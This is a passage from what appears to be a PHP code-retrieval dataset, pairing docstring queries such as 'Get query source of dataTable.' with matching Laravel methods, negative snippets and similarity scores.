\"$this->unstablePlatforms\\n\";\n }\n\n if ($this->notes) {\n $notes .= \"**Additional Notes:**\\n\";\n $notes .= str_replace(\"- \", \"\\n- \", $this->notes) . \"\\n\";\n }\n\n $config = \\HTMLPurifier_Config::createDefault();\n $purifier = new \\HTMLPurifier($config);\n $parsedown = new \\Parsedown();\n $notes = $parsedown->text($notes);\n $notes = $purifier->purify($notes);\n return $notes;\n }", "public function british_drama()\n\t{\n\t\t//Coronation Street 04.05.2012 - Part 1 [XviD] [01/23] - \"coronation.street.04.05.12.part.1.[ws.pdtv].par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+? \\[XviD\\]) \\[\\d\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//The Prisoner E06-09 [001/152] - \"06 The General.mkv.001\" yEnc\n\t\t//Danger Man S2E05-08 [075/149] - \"7.The colonel's daughter.avi.001\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9]+ .+? (S\\d+)?E\\d+-\\d\\d) \\[\\d+\\/\\d+\\] - \"\\d(\\d |\\.).+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Wizards Vs Aliens - 1x06 - Rebel Magic, Part Two [XviD][00/27] - \"wizards.vs.aliens.106.rebel.magic.part.two.[ws.pdtv].nzb\" yEnc\n\t\tif (preg_match('/^.+?[-_\\s]{0,3}\\d+[xX]\\d+[-_\\s]{0,3}.+?\\[\\d+\\/\\d+\\][-_\\s]{0,3}.+?\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Vera.3x03.Young.Gods.720p.HDTV.x264-FoV - \"vera.3x03.young_gods.720p_hdtv_x264-fov.r00\" yEnc\n\t\tif (preg_match('/^[a-zA-Z0-9-\\.]+ - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Heartbeat 9x23 Wise Guys.avi.015 yEnc\n\t\tif (preg_match('/^(.+ \\d+x\\d+.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Minder S10E10 [00/52] - \"S10E10.nzb\" yEnc\n\t\tif (preg_match('/^(.+ S\\d+E\\d+)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Rosemary & Thyme.106..The Tree of Death....Read txt file for more info about this posting - File 03 of 51 - \"Rosemary & Thyme.106.The Tree of Death.part01.rar\" yEnc\n\t\tif (preg_match('/^.+File \\d+ of \\d+ - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //The.Tudors.S01E04.2007.720p[33/57] - \"The.Tudors.S01E04.2007.720p.part31.rar\" yEnc\n\t\tif (preg_match('/^.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Happy_Halloween_The Ice House (1978).par2 yEnc\n\t\tif (preg_match('/^([\\w. &()-]{8,}?\\b)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Rosemary & Thyme - 2x02 Orpheus In The Undergrowth.par2\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[01/45] - \"Minder S01E08.sfv\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function multimedia_scifi()\n\t{\n\t\tif (preg_match('/^some m4vs - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "private function genRobotTXT() {\n $robots_txt = '# robots.txt generated by CSZ CMS'.\"\\n\";\n $robots_txt.= 'User-agent: *'.\"\\n\";\n $robots_txt.= 'Disallow: /admin/'.\"\\n\";\n $robots_txt.= 'Disallow: /install/'.\"\\n\";\n $robots_txt.= 'Sitemap: '. base_url().'sitemap.xml'.\"\\n\";\n if($robots_txt){\n $file_path = FCPATH.\"robots.txt\";\n $fopen = fopen($file_path, 'wb') or die(\"can't open file\");\n fwrite($fopen, $robots_txt);\n fclose($fopen);\n\t}\n }" ]
[ "0.61292416", "0.60272104", "0.6007393", "0.5923153", "0.5922407", "0.59117436", "0.58408976", "0.58028245", "0.5744969", "0.5694943", "0.56228685", "0.56225014", "0.5612725", "0.55924857", "0.55437523", "0.5534156", "0.5519259", "0.5514928", "0.5512873", "0.54564583", "0.54181653", "0.5379891", "0.53204405", "0.5319908", "0.52771646", "0.52240866", "0.520761", "0.5195731", "0.51901853", "0.5147286", "0.51399976", "0.51363766", "0.51322174", "0.5106437", "0.5101228", "0.5100349", "0.50767726", "0.50592893", "0.5047893", "0.5034082", "0.49943653", "0.49658987", "0.49561659", "0.4946557", "0.4933331", "0.49303326", "0.49118868", "0.4888631", "0.4882093", "0.48796833", "0.48778334", "0.48703304", "0.4866983", "0.48465785", "0.48424554", "0.48392376", "0.4833644", "0.4830586", "0.48211515", "0.48171785", "0.4807454", "0.48039055", "0.47940785", "0.47903", "0.47900248", "0.4789415", "0.47855756", "0.47851884", "0.47806257", "0.47699392", "0.47696465", "0.47676852", "0.4764684", "0.47561523", "0.47549084", "0.4749732", "0.4747619", "0.47473168", "0.47448078", "0.47397804", "0.4735686", "0.47312975", "0.47269005", "0.4726758", "0.47084862", "0.47074556", "0.46904397", "0.4686699", "0.46855488", "0.468474", "0.46813634", "0.46792248", "0.4670649", "0.46700853", "0.46618623", "0.46507913", "0.4650757", "0.46463534", "0.4645719", "0.4645162", "0.46448967" ]
0.0
-1
Get query source of dataTable.
public function query(Movie $movies) { return $movies->query()->orderBy('release_date', 'desc')->select('id', 'title', 'main_actors', 'director', 'producer', 'release_date', 'genre'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function fetchDataTableSource()\n { \n $dataTableConfig = [\n 'searchable' => [\n 'title' \n ]\n ];\n\n return SpecificationPreset::with([\n 'presetItem' => function($query) {\n $query->with('specification');\n }\n ])->dataTables($dataTableConfig)->toArray();\n }", "public function getSourceTable() {\n $this->resolve();\n return $this->sources[0]->getTable();\n }", "private function tableDataTable()\r\n\t{\r\n\t\t$source = $this->getSource();\r\n\r\n\t\t//$table = new TableExample\\DataTable();\r\n\t\t$table = new Model\\DataInsTable();\r\n\t\t$table->setAdapter($this->getDbAdapter())\r\n\t\t->setSource($source)\r\n\t\t->setParamAdapter(new AdapterDataTables($this->getRequest()->getPost()))\r\n\t\t;\r\n\t\treturn $table;\r\n\t}", "public function getDataSource()\n\t{\n\t\treturn $this->dataSource;\n\t}", "public function getDataSource() {\n\t\treturn $this->dataSource;\n\t}", "function getDataSource() { return $this->_datasource; }", "public function getDatasource()\n {\n return static::resolveDatasource($this->datasource);\n }", "function getDataSource() {return $this->_datasource;}", "public function getDatasource()\n {\n return $this->datasource;\n }", "public function getDatasource()\n {\n return $this->datasource;\n }", "public function getDataSource()\n {\n /** @var Model $modelClass */\n $modelClass = get_class($this);\n $parentModelName = get_parent_class($modelClass);\n\n if ($parentModelName == Model_Defined::getClass() || $parentModelName == Model_Factory::getClass()) {\n return Data_Source::getInstance(Object::getName($parentModelName) . ':model/' . $modelClass);\n }\n\n return Data_Source::getInstance($modelClass::getDataSourceKey());\n }", "public function getFrom() {\n\t\tif (!is_object($this->obj) && class_exists($this->obj) && \\System\\Library\\StdLib::is_interface_of($this->obj, \"\\Library\\Database\\LinqObject\")) {\n\t\t\t$o = $this->obj;\n\t\t\treturn \"`\".$o::getTable(true).\"`\";\n\t\t} else {\n\t\t\treturn \"(\".$this->obj->getSQL().\") AS \".$this->name;\n\t\t}\n\t}", "public function getDataSource()\n {\n return isset($this->DataSource) ? $this->DataSource : null;\n }", "public function getDataSourceDefinition()\n {\n return $this->data_source_definition;\n }", "public static function getDataSource()\n {\n return static::$_dataSource;\n }", "public function getSourceData();", "protected function dataSource()\n {\n $range = $this->sibling(\"PaymentDateRange\")->value();\n\n //Apply to query\n return AutoMaker::table(\"payments\")\n ->join(\"customers\",\"customers.customerNumber\",\"=\",\"payments.customerNumber\")\n ->whereBetween(\"paymentDate\",$range)\n ->select(\"customerName\",\"paymentDate\",\"checkNumber\",\"amount\");\n }", "protected function SourceDepartments() {\n\treturn $this->DepartmentTable()->SQO_Source('d');\n\t//return new fcSQL_TableSource($this->DepartmentTable()->Name(),'d');\n }", "public function getSourceData() {\n $plugin_id = $this->getActiveSource();\n $instance = $this->createInstance($plugin_id, []);\n return $instance->getData();\n }", "function readDataSource() {return $this->_datasource;}", "public function datasource() {\n if (!isset($this->datasource)) {\n $this->datasource = search_api_get_datasource_controller($this->item_type);\n }\n return $this->datasource;\n }", "public function getQueryDataProvider() {}", "private function getQuery()\n {\n return $this->connection->table($this->table);\n }", "protected function getQuery()\n {\n return $this->connection->table(\n $this->config['table']\n );\n }", "public function getDatasourceName()\n {\n return $this->datasource;\n }", "public function getTableSourceType()\n {\n return $this->table_source_type;\n }", "protected function getQuery()\n {\n return $this->connection->table($this->table);\n }", "public function getSource()\n\t{\n\t\treturn $this->source;\n\t}", "public static function getSourceTableOfContent() {\n\t\treturn self::$_sourceTableOfContent;\n\t}", "public function getSource()\r\n {\r\n return $this->source;\r\n }", "public function getSource();", "public function getSource();", "public function getSource();", "public function getSource();", "public function getSource();", "public function getSource()\n {\n return $this->_source;\n }", "public function getForDataTable()\n {\n return $this->query()\n ->select([\n config('module.locations.table').'.id',\n config('module.locations.table').'.country',\n config('module.locations.table').'.city',\n config('module.locations.table').'.created_at',\n config('module.locations.table').'.updated_at',\n ])->whereNull('user_id');\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->source;\n }", "public function getQuery()\r\n {\r\n return $this->db->table(self::TABLE);\r\n }", "abstract public function getSource();", "public function getSource() {\n return $this->source;\n }", "public function getSource() {\n return $this->source;\n }", "public function getSource() {\n return $this->source;\n }", "public function getSource()\n {\n return $this->data['fields']['source'];\n }", "public function getQuery()\n {\n return $this->db->table(self::TABLE);\n }", "public function getSource()\n {\n return 'data_diksar';\n }", "function getCmdbSource() {\n\treturn cmdbSource::getDB();\n}", "public function getSource()\n {\n return $this->source;\n }", "public function getSource() {\n return $this->source;\n }", "public function getSource() {\n return $this->source;\n }", "public function getSource()\n {\n return 'tabela_precos_has_produtoarea';\n }", "public function getSource(){\n\t\treturn $this->_source;\n\t}", "public function source()\n\t{\n\t\treturn $this->_source;\n\t}", "public function source()\n\t{\n\t\treturn $this->source;\n\t}", "public function getBigquerySource()\n {\n return $this->readOneof(5);\n }", "public final function getDataSet(): QueryDataSet {\n\t\t$dataset = new QueryDataSet($this->getConnection());\n\t\t$dataset->addTable(\"role\");\n\t\t$dataset->addTable(\"profile\");\n\t\t$dataset->addTable(\"posting\");\n\t\t$dataset->addTable(\"savedJob\");\n\t\treturn $dataset;\n\t}", "public function getSource()\n {\n return $this->identity ? $this->identity->getSource() : $this->source;\n }", "public static function get_query()\n\t{\n\t\treturn self::new_instance_records()->get_query();\n\t}", "public function getSource()\n {\n return 'shiiresaki_tanka_dts';\n }", "public function getSource()\n {\n return 'uriage_dts';\n }", "function getSource()\n {\n return $this->source;\n }", "public function getSource()\n {\n return $this->Source;\n }", "public function getSource(){\n return $this->source();\n }", "public function getDataSourceView();", "public function Source(){\n return $this->connection;\n }", "public function source($source)\n {\n $this->query = $source;\n }", "public function getForDataTable()\n {\n\n $q = $this->query();\n if (request('module') == 'task') {\n $q->where('section', '=', 2);\n } else {\n $q->where('section', '=', 1);\n }\n return\n $q->get();\n }", "public function getSource()\n {\n }", "public function source()\n {\n return $this->source;\n }", "private function get_datatable_query()\n {\n if (permission('supplier-bulk-delete')){\n $this->column_order = [null,'id','name', 'address','mobile', 'email', 'city', 'country','status', null, null];\n }else{\n $this->column_order = ['id','name', 'address','mobile', 'email', 'city', 'country','status', null, null];\n }\n \n $query = self::toBase();\n\n //search query\n if (!empty($this->_name)) {\n $query->where('name', 'like', '%' . $this->_name . '%');\n }\n if (!empty($this->_mobile)) {\n $query->where('mobile', 'like', '%' . $this->_mobile . '%');\n }\n if (!empty($this->_email)) {\n $query->where('email', 'like', '%' . $this->_email . '%');\n }\n if (!empty($this->_status)) {\n $query->where('status', $this->_status);\n }\n\n //order by data fetching code\n if (isset($this->orderValue) && isset($this->dirValue)) { //orderValue is the index number of table header and dirValue is asc or desc\n $query->orderBy($this->column_order[$this->orderValue], $this->dirValue); //fetch data order by matching column\n } else if (isset($this->order)) {\n $query->orderBy(key($this->order), $this->order[key($this->order)]);\n }\n return $query;\n }", "public function getDataSourceHandler()\n {\n return $this->DataSourceInstance->getDataSourceHandler();\n }", "public function data() {\n\t\treturn $this->query;\n\t}", "public function getSource() {}", "public function getSource() {}", "public function get_source()\n {\n }", "public function getObjectDataTable()\n\t{\n\t\treturn $this->table_obj_data;\n\t}", "public function get_source() {\n\t\treturn $this->source;\n\t}", "function getSrcTableName() {\n return $this->srcTableName;\n }", "function datatable()\n {\n return $this->table($this->table);\n }", "public function getDataSourceType();", "static function custom_get_sql() {\n # this is the default functionality\n $table = static::get_tablename();\n return \"select * from $table\";\n }", "public function source() {\n return $this->source;\n }", "public static function baseQuery() {\n $sql = 'SELECT*FROM '.static::getTable();\n return $sql;\n }", "public function getSource() : ISource;", "private function getAllSourcesFromDB() {\n return $this->database->table(\"source\")->fetchAll();\n }", "public function getTargetTable()\n {\n return $this->provider->targetTable;\n }", "protected function getActiveDatasource()\n {\n return $this->datasources[$this->activeDatasourceKey];\n }", "public function dataSource($value) {\n return $this->setProperty('dataSource', $value);\n }", "public function dataSource($value) {\n return $this->setProperty('dataSource', $value);\n }" ]
[ "0.6895125", "0.6753405", "0.6509491", "0.64851296", "0.6465343", "0.64154166", "0.63834846", "0.6268942", "0.6261598", "0.6261598", "0.6227419", "0.6218134", "0.62151456", "0.61885744", "0.6168129", "0.6070435", "0.60309273", "0.60120887", "0.59311485", "0.5923787", "0.5901831", "0.58833104", "0.58629775", "0.5847676", "0.5820423", "0.5814423", "0.5761016", "0.57528543", "0.5744489", "0.57254255", "0.57136613", "0.57136613", "0.57136613", "0.57136613", "0.57136613", "0.56947064", "0.56895214", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56864", "0.56555", "0.56539464", "0.5647877", "0.5647877", "0.5647877", "0.5643869", "0.56295276", "0.5624637", "0.5624268", "0.56210655", "0.56156737", "0.56156737", "0.5614461", "0.56082594", "0.55954224", "0.5593298", "0.5586918", "0.55855995", "0.5583622", "0.55821687", "0.5572809", "0.55725145", "0.5571506", "0.5568237", "0.55657285", "0.5564538", "0.5559226", "0.5540687", "0.55316174", "0.5524922", "0.55237246", "0.5518017", "0.5511074", "0.5503848", "0.5496827", "0.5496827", "0.54925", "0.54865795", "0.5478658", "0.5474943", "0.5471213", "0.54610366", "0.54385364", "0.54352885", "0.5423599", "0.540908", "0.5408197", "0.5405982", "0.5405508", "0.5404731", "0.5404731" ]
0.0
-1
Optional method if you want to use html builder.
public function html() { return $this->builder() ->columns($this->getColumns()) ->minifiedAjax() ->addAction(['width' => '80px']) ->parameters([$this->getBuilderParameters(), 'buttons' => [ 'reload', ] ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function html() {}", "public function html();", "protected function generateHtml()\n\t{\n\t}", "abstract public function generateHtml();", "public function renderHTML()\n {\n }", "public abstract function asHTML();", "public static function html() {\n\n\t\treturn new BF_HTML_Generator;\n\t}", "public function toHTML()\n {\n }", "public abstract function html(): string;", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction([\n 'width' => '12%',\n 'printable' => false,\n 'exportable' => false,\n 'searchable' => false\n ])\n ->paging(true)\n ->lengthMenu([[50, 100,500, -1], [50, 100,500, 'All']])\n ->scrollX(true)\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "public function html() {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->addAction(['width' => '150px'])\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "function html()\n {\n }", "function html()\n {\n }", "function html()\n {\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '120px'])\n ->parameters($this->getBuilderParameters());\n }", "public function html(): string;", "public function toHTML();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->parameters($this->getBuilderParameters());\n }", "public function setHtml();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->colReorderRealtime(true)\n ->minifiedAjax()\n ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "protected function _toHtml()\n{\n// use arguments like $this->getMyParam1() , $this->getAnotherParam()\n \nreturn $html;\n}", "function __toString () {\n return $this->compile_html ();\n }", "private static function html()\n {\n $files = ['Html', 'Form'];\n $folder = static::$root.'Html'.'/';\n\n self::call($files, $folder);\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->postAjax()\n ->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->postAjax()\n ->parameters($this->getBuilderParameters());\n }", "abstract public function getHtml();", "public function toHtml();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->parameters([\n 'dom' => 'Bfrtip',\n 'buttons' => ['export', 'excel', 'pdf', 'print', 'reset', 'reload'],\n 'language' => ['url' => 'http://cdn.datatables.net/plug-ins/1.10.19/i18n/Russian.json'],\n ])\n ->minifiedAjax()\n// ->addAction(['width' => '80px'])\n ->parameters($this->getBuilderParameters());\n }", "public function getHtml();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->addAction(['width' => 'auto']);\n }", "public function html()\n {\n return $this->builder()->columns($this->getColumns())->ajax('')->parameters($this->getBuilderParameters());\n }", "public function html()\n {\n return $this->builder()->columns($this->getColumns())->ajax('')->parameters($this->getBuilderParameters());\n }", "protected function registerHtmlBuilder()\n {\n $this->app->singleton('html', function ($app) {\n return new HtmlComponent($app['url'], $app['view']);\n });\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumnsTable())\n ->minifiedAjax()\n ->addAction(['width' => '80px','printable' => false, 'exportable' => false,'title'=>'Acciones'])\n ->parameters($this->getBuilderParameters());\n }", "protected function registerHtmlBuilder()\n {\n $this->app->singleton('html', function ($app) {\n return new HtmlBuilder($app['url'], $app['view']);\n });\n }", "public function html(): Builder\n {\n /** @var Builder $table */\n $table = app('datatables.html');\n\n return $table\n ->columns($this->getColumns())\n ->ajax($this->getAjaxOptions())\n ->parameters($this->getParameters());\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '100px'])\n ->parameters([\n 'lengthMenu' => ['15', '25', '50'],\n 'order' => [[0, 'desc']],\n ]);\n }", "public abstract function get_html();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->ajax('')\n ->addAction(['width' => '130px']);\n }", "public function getCompiledHtml();", "public function generate()\n {\n # Build teh Header\n $this->buildHeader();\n\n # Switch the Views\n switch ($this->view) {\n case 'day':\n $this->buildBodyDay();\n break;\n case 'week':\n $this->buildBodyWeek();\n break;\n default:\n $this->buildBody();\n break;\n }\n # return thr string\n return $this->html;\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n // ->addAction(['width' => '80px'])\n //->parameters($this->getBuilderParameters());\n ->parameters([\n 'dom' => 'Blfrtip',\n 'lengthMenu'=> [[10, 25, 50, 100,-1], [10, 25, 50, 100, 'All Rercords']],\n 'buttons' => [\n ['extend' =>'print','className' =>'btn btn-primary','text'=>'print Page'],\n \n ['extend' =>'csv','className' =>'btn btn-info','text'=>'CSV Page'],\n ['extend' =>'excel','className' =>'btn btn-info','text'=>'Excel Page'],\n ['extend' =>'reload','className' =>'btn btn-info','text'=>'Reload Page'],\n ['text' => '<i class=\"fa fa-plus\"></i> Add User','className' =>'btn btn-info'],\n ]\n ]);\n }", "public function asHtml()\n {\n return $this->asStatic();\n }", "public function render() {\n\n echo $this->html;\n\n }", "public function getHTML(): string;", "public function html(): Builder\n {\n return $this->builder()\n ->setTableId('floorsDatatable')\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->orderBy(1)\n ->lengthMenu([[5, 10, 25, 50, -1], [5, 10, 25, 50, 'All']]);\n\n }", "public function html()\n {\n return $this->builder()\n ->setTableId('employees-table')\n ->columns($this->getColumns())\n ->minifiedAjax()\n // ->dom('Blfrtip')\n ->lengthMenu([5, 10, 25, 50, 100])\n ->orderBy(0)\n ->buttons(\n Button::make('csv')->text(__('app.csv')),\n Button::make('excel')->text(__('app.excel')),\n Button::make('copy')->text(__('app.copy')),\n Button::make('pdf')->text(__('app.pdf')),\n Button::make('print')->text(__('app.print')),\n );\n }", "function get_html()\n\t{\n\n\t// incrase views\n\n\t}", "public function buildHTML()\n {\n $view = $this->container;\n $attr = [];\n if (is_array($this->container)) {\n if (isset($this->container[0])) {\n list($view, $attr) = $this->container;\n } else {\n $view = 'webarq::manager.cms.form.element';\n $attr = $this->container;\n }\n }\n\n if ('hidden' === $this->type) {\n return $this->buildInput();\n }\n\n return view($view, [\n 'title' => $this->getTitle(),\n 'input' => $this->buildInput(),\n 'attribute' => Arr::merge((array)$attr, ['class' => 'form-group'], 'join'),\n 'info' => $this->info,\n 'type' => $this->type\n ] + get_object_vars($this))->render();\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->addAction()\n ->minifiedAjax()\n ->dom('lBfr<\"table-responsive\"t>ip')\n ->orderBy(0)\n ->buttons(\n ['csv','excel', 'print', 'reset']\n );\n }", "protected function html()\r\n\t{\r\n\r\n\t\t$data = $this->form;\r\n\t\t$f = $data['form'];\r\n\r\n\t\tif($f == 'select'){\r\n\t\t\t$this->selectLink();\r\n\t\t}\r\n\r\n\t\tif($f == 'file'){\r\n\t\t\t$this->fileLink();\r\n\t\t}\r\n\r\n\t\tif($f == 'textarea'){\r\n\t\t\t$this->success = $this->textarea();\r\n\t\t}\r\n\r\n\t\tif($f == 'radio' || $f=='checkbox'){\r\n\t\t\t$this->chooseLink();\r\n\t\t}\r\n\t\tif($f == 'hidden'|| $f =='password'|| $f =='text'|| $f =='number'|| $f =='date'){\r\n\t\t\t$this->oneLink();\r\n\t\t}\r\n\t\tif($f == 'editor'){\r\n\t\t\t$this->oneLink();\r\n\t\t}\r\n\t\tif(strpos($f,'extend')!==false){\r\n\t\t\t$this->oneLink();\r\n\t\t}\r\n\t\tif($this->continue){\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$this->replace();\r\n\t}", "public function __construct()\n\t{\n\t\t$this->html = new HtmlBuilder;\n\t}", "public function html()\n {\n return Mailblade\\View::make($this->view)\n ->with($this->data)\n ->render();\n }", "protected abstract function generateHtmlBody() : string;", "public function __toString()\n {\n return $this->HtmlBuilder();\n }", "public function createHTML () {\r\n\t\t\r\n\t\t//Declare STD Object $res\r\n\t\t$res = $this->blogstate->blogStatement();\r\n\r\n\t\t$blogPost = \"\";\r\n\r\n\t\t//Adding news items contained in $res variable.\r\n\t\tforeach($res AS $key => $val) {\r\n\t\t\t$catLink = \"\";\r\n\t\t\t$categoryAnchors = explode(\",\",($val->category));\r\n\t\t\t\r\n\t\t\tforeach($categoryAnchors as $catVal) {\r\n\t\t\t\t$catLink .= \"<a href='\". $this->db->getQueryString(array('genre' => $catVal)) .\"'>$catVal</a> &nbsp;\";\r\n\t\t\t}\r\n\r\n\t\t\t//Calling the function handleString to handle the $val-data variable with the chosen filters.\r\n \t\t\t$blogPost .= \"\r\n \t\t\t\t<div class='one-blog-post'>\r\n \t\t\t\t\t<h2><a href='newsitem.php?slug=\". $val->slug .\"'>{$val->title}</a></h2>\r\n \t\t\t\t\t<p>{$this->handleString($val->DATA, $val->slug, $val->FILTER)}</p>\r\n\r\n \t\t\t\t\t<div class='container-fluid'>\r\n \t\t\t\t\t\t<p class='pull-right'>Kategori: \". $catLink .\" &nbsp; Publicerad: {$val->published}</p>\r\n \t\t\t\t\t</div>\r\n \t\t\t\t</div>\";\r\n\t\t}\r\n\r\n\t\t//Adding HTML markup to $out.\r\n\t\t$out = \"\r\n\t\t\t\t<div class='container-fluid text-center show-all-movies'>\r\n\t\t\t\t\tNyheter\r\n\t\t\t\t</div>\r\n\t\t\t\t\r\n\t\t\t\t<div class='blog-posts'> \t\r\n\t\t\t\t\t{$blogPost}\r\n\t\t\t\t</div>\r\n\t\t\";\r\n\t\treturn $out;\r\n\t}", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n// ->addAction(['width' => '160px'])\n// ->minifiedAjax('', null, request()->only(['from', 'to', 'team', 'user', 'category', 'status']))\n ->parameters([\n 'dom' => 'Blfrtip',\n 'responsive' => true,\n 'autoWidth' => false,\n 'paging' => true,\n \"pagingType\" => \"full_numbers\",\n 'searching' => true,\n 'info' => true,\n 'searchDelay' => 350,\n \"serverSide\" => true,\n 'order' => [[1, 'asc']],\n 'buttons' => ['excel','csv', 'print', 'reset', 'reload'],\n 'pageLength' => 10,\n 'lengthMenu' => [[10, 20, 25, 50, 100, 500, -1], [10, 20, 25, 50, 100, 500, 'All']],\n ]);\n }", "protected function showBeginHTML(): self {\n echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>{$this->getTitle()}</title>\n <meta name=\"keywords\" content=\"{$this->getKeywords()}\">\n <meta name=\"description\" content=\"{$this->getDescription()}\">\n <meta name=\"author\" content=\"Dmitri 